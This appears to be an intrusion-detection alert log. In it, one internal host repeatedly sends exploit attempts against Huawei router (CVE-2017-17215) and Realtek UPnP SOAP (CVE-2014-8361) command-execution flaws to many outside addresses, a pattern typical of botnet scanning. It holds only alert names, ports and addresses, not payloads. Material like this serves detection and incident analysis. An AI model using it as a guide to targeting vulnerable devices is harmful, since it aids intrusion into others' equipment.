ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.188.106.107

Timestamp:	07/20/24-23:01:40.334934
SID:	2835222
Source Port:	57662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.150.205.193

Timestamp:	07/20/24-23:01:48.275988
SID:	2027339
Source Port:	39732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.226.178.202

Timestamp:	07/20/24-23:01:21.954501
SID:	2835222
Source Port:	43212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.130.2

Timestamp:	07/20/24-23:01:00.633744
SID:	2835222
Source Port:	37642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 59.198.200.174

Timestamp:	07/20/24-23:01:31.311906
SID:	2831300
Source Port:	58730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 211.143.251.133

Timestamp:	07/20/24-23:01:46.855307
SID:	2025132
Source Port:	36176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.18.107.141

Timestamp:	07/20/24-23:02:35.459810
SID:	2025132
Source Port:	34686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.221.171.171

Timestamp:	07/20/24-23:01:42.984532
SID:	2027339
Source Port:	57404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.195.37.248

Timestamp:	07/20/24-23:01:47.934101
SID:	2027339
Source Port:	42244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.45.241.196

Timestamp:	07/20/24-23:01:59.030102
SID:	2025132
Source Port:	36116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.91.150.196

Timestamp:	07/20/24-23:02:21.324806
SID:	2027339
Source Port:	46214
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 168.18.159.220

Timestamp:	07/20/24-23:01:42.687128
SID:	2831300
Source Port:	38200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.36.37.101

Timestamp:	07/20/24-23:01:54.367854
SID:	2027339
Source Port:	41138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.175.16

Timestamp:	07/20/24-23:01:27.650871
SID:	2829579
Source Port:	52136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.116.25.221

Timestamp:	07/20/24-23:01:02.716646
SID:	2027339
Source Port:	46338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.188.56.156

Timestamp:	07/20/24-23:01:45.775798
SID:	2027339
Source Port:	51568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.101.151.97

Timestamp:	07/20/24-23:01:55.974605
SID:	2831300
Source Port:	53306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.132.0.162

Timestamp:	07/20/24-23:01:41.549051
SID:	2027339
Source Port:	50696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.127.2.156

Timestamp:	07/20/24-23:01:41.263057
SID:	2027339
Source Port:	59984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.209.32.105

Timestamp:	07/20/24-23:01:42.699598
SID:	2027339
Source Port:	43810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.4.219.92

Timestamp:	07/20/24-23:01:42.704267
SID:	2027339
Source Port:	44400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.37.150

Timestamp:	07/20/24-23:00:59.157444
SID:	2835222
Source Port:	52632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.96.29.107

Timestamp:	07/20/24-23:01:44.957555
SID:	2027339
Source Port:	41402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.181.232.193

Timestamp:	07/20/24-23:01:44.405053
SID:	2831300
Source Port:	49608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.3.243.177

Timestamp:	07/20/24-23:01:42.033190
SID:	2027339
Source Port:	45472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.2.96.116

Timestamp:	07/20/24-23:01:52.116386
SID:	2025132
Source Port:	47788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.234.224

Timestamp:	07/20/24-23:01:34.048825
SID:	2829579
Source Port:	56284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.245.117.149

Timestamp:	07/20/24-23:01:49.463055
SID:	2027339
Source Port:	42220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.33.175.153

Timestamp:	07/20/24-23:01:50.001369
SID:	2025132
Source Port:	45394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.24.223.164

Timestamp:	07/20/24-23:01:44.440143
SID:	2025132
Source Port:	55764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.29.110.76

Timestamp:	07/20/24-23:01:40.285038
SID:	2829579
Source Port:	46210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.243.125.183

Timestamp:	07/20/24-23:01:51.624541
SID:	2027339
Source Port:	48202
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.234.7

Timestamp:	07/20/24-23:01:20.181938
SID:	2829579
Source Port:	36886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.198.8.37

Timestamp:	07/20/24-23:01:44.409097
SID:	2025132
Source Port:	52916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.236.204.67

Timestamp:	07/20/24-23:01:47.641942
SID:	2027339
Source Port:	46344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.237.72.71

Timestamp:	07/20/24-23:01:51.743446
SID:	2831300
Source Port:	56730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.238.106.168

Timestamp:	07/20/24-23:01:43.014738
SID:	2027339
Source Port:	44048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.71.226.225

Timestamp:	07/20/24-23:01:44.038410
SID:	2027339
Source Port:	54114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.151.239

Timestamp:	07/20/24-23:01:20.144672
SID:	2835222
Source Port:	55502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.93.17.46

Timestamp:	07/20/24-23:01:49.901282
SID:	2027339
Source Port:	54834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.95.139.12

Timestamp:	07/20/24-23:01:53.344252
SID:	2025132
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.174.206.130

Timestamp:	07/20/24-23:01:57.795137
SID:	2025132
Source Port:	54130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 51.202.3.15

Timestamp:	07/20/24-23:01:54.515977
SID:	2025132
Source Port:	55936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.96.176.194

Timestamp:	07/20/24-23:02:04.640459
SID:	2831300
Source Port:	32958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.57.134.38

Timestamp:	07/20/24-23:01:08.572197
SID:	2831300
Source Port:	55296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.90.236.107

Timestamp:	07/20/24-23:01:02.048113
SID:	2835222
Source Port:	57456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.45.181.132

Timestamp:	07/20/24-23:01:14.090830
SID:	2835222
Source Port:	60644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.142.252.32

Timestamp:	07/20/24-23:01:14.113390
SID:	2835222
Source Port:	60610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.39.175.234

Timestamp:	07/20/24-23:01:40.331150
SID:	2835222
Source Port:	58004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.192.25.7

Timestamp:	07/20/24-23:01:46.384516
SID:	2027339
Source Port:	56926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.69.193.236

Timestamp:	07/20/24-23:01:43.030153
SID:	2027339
Source Port:	58654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.114.197.205

Timestamp:	07/20/24-23:01:20.131340
SID:	2835222
Source Port:	53976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.88.172.221

Timestamp:	07/20/24-23:01:11.816521
SID:	2829579
Source Port:	52566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.210.184.146

Timestamp:	07/20/24-23:01:24.929013
SID:	2835222
Source Port:	44336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.83.213.222

Timestamp:	07/20/24-23:01:08.600679
SID:	2831300
Source Port:	45328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.251.19

Timestamp:	07/20/24-23:01:14.105395
SID:	2835222
Source Port:	41286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.69.91

Timestamp:	07/20/24-23:01:00.639093
SID:	2835222
Source Port:	57218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.67.56.20

Timestamp:	07/20/24-23:01:41.930505
SID:	2027339
Source Port:	39212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.188.204.57

Timestamp:	07/20/24-23:01:20.175900
SID:	2835222
Source Port:	36122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.129.228.162

Timestamp:	07/20/24-23:00:59.196993
SID:	2829579
Source Port:	59916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.26.13.206

Timestamp:	07/20/24-23:01:02.509396
SID:	2027339
Source Port:	53182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.47.55.117

Timestamp:	07/20/24-23:01:11.818830
SID:	2835222
Source Port:	36164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.169.30.84

Timestamp:	07/20/24-23:01:41.747994
SID:	2027339
Source Port:	48270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.69.166.230

Timestamp:	07/20/24-23:02:27.457367
SID:	2027339
Source Port:	59154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.186.145.164

Timestamp:	07/20/24-23:01:03.432937
SID:	2025132
Source Port:	58602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.34.69.120

Timestamp:	07/20/24-23:01:08.600114
SID:	2831300
Source Port:	58992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.140.14.0

Timestamp:	07/20/24-23:01:44.814790
SID:	2027339
Source Port:	60236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 18.226.20.52

Timestamp:	07/20/24-23:01:20.140632
SID:	2829579
Source Port:	33620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.178.189.119

Timestamp:	07/20/24-23:01:40.336908
SID:	2829579
Source Port:	49886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.221.152.25

Timestamp:	07/20/24-23:01:12.841280
SID:	2027339
Source Port:	43428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.241.170.132

Timestamp:	07/20/24-23:01:46.113314
SID:	2027339
Source Port:	34652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.85.104.5

Timestamp:	07/20/24-23:01:46.387777
SID:	2027339
Source Port:	44176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.68.164.37

Timestamp:	07/20/24-23:01:10.603142
SID:	2027339
Source Port:	53562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.167.170.254

Timestamp:	07/20/24-23:01:01.629050
SID:	2025132
Source Port:	37134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.210.235.23

Timestamp:	07/20/24-23:01:51.124824
SID:	2025132
Source Port:	35310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.27.209.75

Timestamp:	07/20/24-23:01:47.377081
SID:	2027339
Source Port:	34994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.79.18.186

Timestamp:	07/20/24-23:01:49.825670
SID:	2027339
Source Port:	36608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.158.184.177

Timestamp:	07/20/24-23:01:31.976649
SID:	2829579
Source Port:	36002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 51.186.28.39

Timestamp:	07/20/24-23:01:42.662837
SID:	2831300
Source Port:	42730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.59.242.166

Timestamp:	07/20/24-23:01:08.575986
SID:	2027339
Source Port:	59784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 130.210.124.219

Timestamp:	07/20/24-23:01:11.817771
SID:	2835222
Source Port:	58516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 4.9.166.109

Timestamp:	07/20/24-23:01:44.007374
SID:	2025132
Source Port:	36010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.59.59.107

Timestamp:	07/20/24-23:01:47.798104
SID:	2025132
Source Port:	52252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 131.252.149.74

Timestamp:	07/20/24-23:01:32.060731
SID:	2829579
Source Port:	59522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.135.26.34

Timestamp:	07/20/24-23:01:41.912337
SID:	2025132
Source Port:	60206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.3.86

Timestamp:	07/20/24-23:01:14.207040
SID:	2835222
Source Port:	38408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.91.249.28

Timestamp:	07/20/24-23:01:57.360180
SID:	2025132
Source Port:	48112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.59.254.237

Timestamp:	07/20/24-23:01:42.704900
SID:	2027339
Source Port:	56180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.92.43.190

Timestamp:	07/20/24-23:01:12.806839
SID:	2027339
Source Port:	35888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.183.196.72

Timestamp:	07/20/24-23:01:46.450129
SID:	2831300
Source Port:	48682
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.93.40

Timestamp:	07/20/24-23:01:20.157619
SID:	2835222
Source Port:	59652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.10.123.41

Timestamp:	07/20/24-23:01:42.072139
SID:	2025132
Source Port:	42710
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 110.45.133.89

Timestamp:	07/20/24-23:01:44.890268
SID:	2025132
Source Port:	45790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.64.21.239

Timestamp:	07/20/24-23:01:06.990535
SID:	2835222
Source Port:	37940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.135.90.32

Timestamp:	07/20/24-23:01:24.813625
SID:	2027339
Source Port:	51160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.171.161.225

Timestamp:	07/20/24-23:01:42.908066
SID:	2027339
Source Port:	37598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.198.43

Timestamp:	07/20/24-23:00:59.172943
SID:	2829579
Source Port:	50406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.101.2.117

Timestamp:	07/20/24-23:01:32.032492
SID:	2835222
Source Port:	51940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.133.231.223

Timestamp:	07/20/24-23:01:42.869521
SID:	2027339
Source Port:	47750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

